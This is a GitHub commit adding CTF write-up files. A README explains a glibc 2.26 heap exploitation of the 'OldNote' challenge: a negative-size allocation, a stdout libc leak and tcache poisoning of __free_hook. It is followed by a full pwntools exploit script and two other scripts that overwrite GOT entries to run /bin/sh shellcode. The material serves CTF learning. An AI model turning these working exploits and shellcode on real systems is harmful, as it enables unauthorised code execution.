Skip to content
This repository was archived by the owner on Oct 24, 2021. It is now read-only.

Commit d2e1bc3

Browse files
committed
poseidon
1 parent b39a46f commit d2e1bc3

File tree

5 files changed

+430
-0
lines changed

5 files changed

+430
-0
lines changed

2020-PoseidonCTF/README.md

+211
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,211 @@
1+
# PoseidonCTF
2+
3+
Good quality CTF from `From Sousse, with love`. DiceGang takes second.
4+
5+
Notably I helped with 1 heap, which got 4-5 solves. Unfortunately I had to go to sleep right before getting libc leaks so OP pepsi on the West Coast solved submitted, but I solved afterwards for fun.
6+
7+
## OldNote
8+
> Old, but gold
9+
>
10+
> nc poseidonchalls.westeurope.cloudapp.azure.com 9000
11+
12+
13+
Full security checks are in place, so it's a heap chall. The provided libc and ld are for glibc 2.26, which has tcache included.
14+
15+
16+
The program allows us 4 slots which hold pointers to malloc'ed chunks. We can only create and delete these chunks, so no easy :leeks:
17+
18+
19+
We also cannot allocate chunks larger than 0x100 size.
20+
21+
22+
### Vuln
23+
The issue comes down to how the sizes are read. The function to read an int uses atoi, which returns a *signed* integer. This means we can request to alloc negative sizes.
24+
25+
26+
However, alloc would return a useless NULL on negative size allocation, right? Wrong.
27+
28+
29+
We can use [CVE-2017-17426: malloc returns pointer from tcache_get when should return NULL](https://sourceware.org/bugzilla/show_bug.cgi?id=22375) to get a chunk back from the first tcache index (0x20 size).
30+
31+
32+
Great, now we have a chunk that we aren't supposed to get. The next step is to realize that after allocation, we are allowed to write to the chunk up to the size.
33+
34+
35+
The problem is that a size of -1 will allow us to write basically a huge amount of bytes to the chunk, easily overflowing the chunk.
36+
37+
## Libc Leak
38+
Definitely the most difficult part of this chall. As there is no way to read from a chunk, we can't just get a chunk into unsorted and read from it.
39+
40+
However, [someone has already done](https://vigneshsrao.github.io/babytcache/) this type of attack that we need!
41+
42+
We just have to write a few bytes of data to `_IO_2_1_stdout_`, which can be achieved with a 4 bit brute force from a known libc address...
43+
44+
45+
So our plan to leak libc from a high level is:
46+
- Get a chunk into unsorted bin by overflowing its size from the previous chunk, forging a few chunks to reconnect to the top, and freeing it
47+
- Overflow the chunk again, and partially overwrite the fwd with a hardcoded `_IO_2_1_stdout_` address
48+
- Write some data to `_IO_2_1_stdout_` to leak a bunch of addresses on the next print
49+
50+
51+
### Unsorted bin chunk
52+
To get a chunk into unsorted, we first need to overflow the size (as there's a <= 0x100 size restriction using the program).
53+
54+
55+
This can be easily done by allocating two 0x10 chunks (will end up in 0x20 tcache), deleting the first chunk, and then allocating a chunk of size -1.
56+
57+
58+
Allocating a chunk of size -1 will pull a chunk from the 0x20 tcache, as well as giving us a heap overflow.
59+
60+
61+
Let us write the size of our second chunk as 0x420.
62+
63+
64+
Then, we need to forge a chunk at our first chunk + 0x420 so that the free checks pass. While we're there, let's change the size so that it points back to the top chunk, so it looks nicer :)
65+
66+
67+
Then, we can free the chunk at index 1 (our unsorted chunk) to write some libc pointers to the chunk.
68+
69+
70+
### Partial OW
71+
We can achieve a partial overwrite by allocating a 0x14 sized chunk, and then overflowing it to write into the unsorted chunk.
72+
73+
74+
The way this works is that when we request a 0x14 sized chunk, the current tcache index (0x20) is empty, so it pulls from unsorted. When malloc pulls from an unsorted chunk, it takes out the requested size from the chunk and returns it.
75+
76+
77+
It also writes libc pointers into the remainder of the original chunk so it can be kept in the unsorted bin.
78+
79+
80+
We can take advantage of this with our overflow: If we overflow a chunk that came from unsorted, we'll be writing to the remainder of the unsorted chunk, that's still in unsorted!
81+
82+
83+
### Writing to stdout data
84+
Recall that the fwd and bk of a single unsorted chunk point to somewhere in `main_arena`.
85+
86+
The last 3 nibbles of any `_IO_2_1_stdout_` address are `0x720`. Unfortunately the fourth to last nibble is not the same from `main_arena` to `_IO_2_1_stdout_`, so we need to hardcode that nibble and just brute force until it lines up.
87+
88+
Following the HITCONCTF baby_tcache writeup, we write a `0xfbad1800`, followed by a bunch of nullbytes (25, to be exact) to `_IO_2_1_stdout_` to leak a lot of libc pointers. We can recover the base address this way on the next call to print.
89+
90+
91+
### RCE
92+
From our libc exploration, we created an unsorted bin chunk, that overlapped with a couple of tcache chunks that we used to forge a chunk to reconnect to the top chunk.
93+
94+
We can simply just allocate some chunks from said unsorted bin chunk, which overlap with some tcache chunk, in order to write to the tcache pointers, in effect creating a sort of unsorted-tcache bin dup and achieving tcache poison.
95+
96+
We allocate some chunks to get an overlap with a tcache chunk, and then we write to a previously freed tcache chunk's fwd with `__free_hook`.
97+
98+
Then, we just tcache poison to write to `__free_hook` with `system()`, and free a chunk with `/bin/sh` in it.
99+
100+
Flag: `Poseidon{g00d_0ld_t1me_wh3n_tc4ch3_1s_571ll_cut3}`
101+
102+
103+
### Script
104+
```python
105+
from pwn import *
106+
107+
e = ELF("./oldnote")
108+
libc = ELF("./libc-2.26.so")
109+
ld = ELF("./ld-2.26.so")
110+
111+
context.binary = e
112+
context.terminal = ["konsole", "-e"]
113+
114+
115+
while True:
116+
#p = process([ld.path, e.path], env={"LD_PRELOAD": libc.path})
117+
p = remote("poseidonchalls.westeurope.cloudapp.azure.com", 9000)
118+
119+
120+
#context.log_level="debug"
121+
#gdb.attach(p, """p stdout \n info addr main_arena""")
122+
123+
def new(size, dat):
124+
p.sendlineafter(": ", "1")
125+
p.sendlineafter(": ", str(size))
126+
p.sendafter(": ", str(dat))
127+
128+
129+
def remove(idx):
130+
p.sendlineafter(": ", "2")
131+
p.sendlineafter(": ", str(idx))
132+
133+
134+
new(0x10, "A")
135+
new(0x10, "B")
136+
137+
138+
for i in range(0x90, 0xd1, 0x10):
139+
new(i, "i")
140+
remove(2)
141+
142+
143+
144+
new(0xe0, "i"*0x30+p64(0x421)+p64(0xe0-0x32+3))
145+
146+
147+
148+
remove(0)
149+
150+
151+
new(-1, "C"*0x18 + "\x21\x04")
152+
153+
154+
remove(1)
155+
156+
157+
# tcache for 0x20 is empty so get a chunk in there to pull later
158+
new(20, "A")
159+
remove(1)
160+
161+
162+
new(-1, "A"*16 + p64(0x21) + p64(0x400) + "\x20\xe7")
163+
164+
165+
remove(0)
166+
167+
168+
new(144, "A")
169+
170+
171+
172+
new(144, p64(0xfbad1800)+p64(0)*3+"\x00")
173+
174+
try:
175+
dat = p.recvline()
176+
libc.address = u64(dat[24:32]) - 0x3d73e0
177+
except struct.error:
178+
print("skip")
179+
continue
180+
except EOFError:
181+
print("asdf")
182+
continue
183+
184+
print("libc base", hex(libc.address))
185+
186+
187+
remove(0)
188+
189+
190+
new(0xe0, "iiiiiiii")
191+
192+
remove(0)
193+
194+
print("libc free hook", hex(libc.sym["__free_hook"]))
195+
print("libc system", hex(libc.sym["system"]))
196+
197+
new(0xf0, "B"*0x50 + p64(0) + p64(0xc1) + p64(libc.sym["__free_hook"]))
198+
199+
remove(0)
200+
201+
new(0xb0, "/bin/sh")
202+
203+
remove(1)
204+
205+
new(0xb0, p64(libc.sym["system"]))
206+
207+
remove(0)
208+
209+
210+
p.interactive()
211+
```
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
from pwn import *
2+
3+
e = ELF("./vuln")
4+
libc = ELF("./libc.so.6")
5+
ld = ELF("./ld-linux.so.2")
6+
7+
context.terminal = ["konsole", "-e"]
8+
9+
p = process([e.path, "AAAAAAAABBBBBBBB"])
10+
11+
12+
#context.log_level="debug"
13+
gdb.attach(p, """""")
14+
15+
16+
win = 0x08048966
17+
18+
print("win", hex(win))
19+
print("exit got", hex(e.got["exit"]))
20+
21+
22+
23+
p.recvline()
24+
heap_base = int(p.recvline()) - 8
25+
26+
print("heap base", hex(heap_base))
27+
28+
p.recvuntil("useful...")
29+
30+
31+
32+
shellcode = """
33+
jmp thing
34+
nop
35+
nop
36+
nop
37+
nop
38+
nop
39+
nop
40+
nop
41+
nop
42+
nop
43+
nop
44+
nop
45+
nop
46+
nop
47+
nop
48+
nop
49+
nop
50+
nop
51+
nop
52+
nop
53+
nop
54+
nop
55+
nop
56+
nop
57+
nop
58+
nop
59+
nop
60+
nop
61+
nop
62+
nop
63+
nop
64+
nop
65+
nop
66+
nop
67+
nop
68+
nop
69+
nop
70+
nop
71+
thing:{}
72+
""".format(shellcraft.i386.linux.sh())
73+
74+
shellcode = asm(shellcode)
75+
76+
77+
p.sendline(p32(e.got["exit"]-12) + p32(heap_base+16) + shellcode)
78+
79+
80+
81+
p.interactive()
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
from pwn import *
2+
3+
p = process("./vuln")
4+
e = ELF("./vuln")
5+
6+
context.terminal = ["konsole", "-e"]
7+
8+
gdb.attach(p, '''break * main+161
9+
break * main+189
10+
break * main+194
11+
break * 0x08049b86
12+
break * 0x8049bee
13+
c''')
14+
15+
p.recvline()
16+
17+
f = int(p.recvline())
18+
19+
print("first chunk", hex(f))
20+
print("exit got", hex(e.got["exit"]))
21+
22+
p.recvuntil("fullname\n")
23+
24+
'''
25+
shellcode = "\x90"*12 + asm("""mov eax, 0x8048936
26+
call eax
27+
""")
28+
'''
29+
30+
#shellcode = "\x90"*20 + asm(shellcraft.i386.linux.sh())
31+
shellcode = asm('''
32+
jmp sc
33+
{}
34+
sc:
35+
nop
36+
'''.format('nop\n'*100)+shellcraft.i386.linux.sh())
37+
#print(shellcode[0])
38+
#shellcode += "\x90"
39+
#shellcode = "\x90"*12+"\x69"*12
40+
41+
exploit = b""
42+
exploit += shellcode
43+
exploit += b"B"*(0x298-len(shellcode))
44+
exploit += p32(0x621)
45+
exploit += p32(0x29)
46+
exploit += p32(e.got["exit"]-12)
47+
exploit += p32(f+12)
48+
49+
#exploit += "A"*49
50+
51+
p.sendline(exploit)
52+
53+
p.recvuntil("lastname\n")
54+
55+
p.sendline("i"*8)
56+
57+
p.interactive()

0 commit comments

Comments
 (0)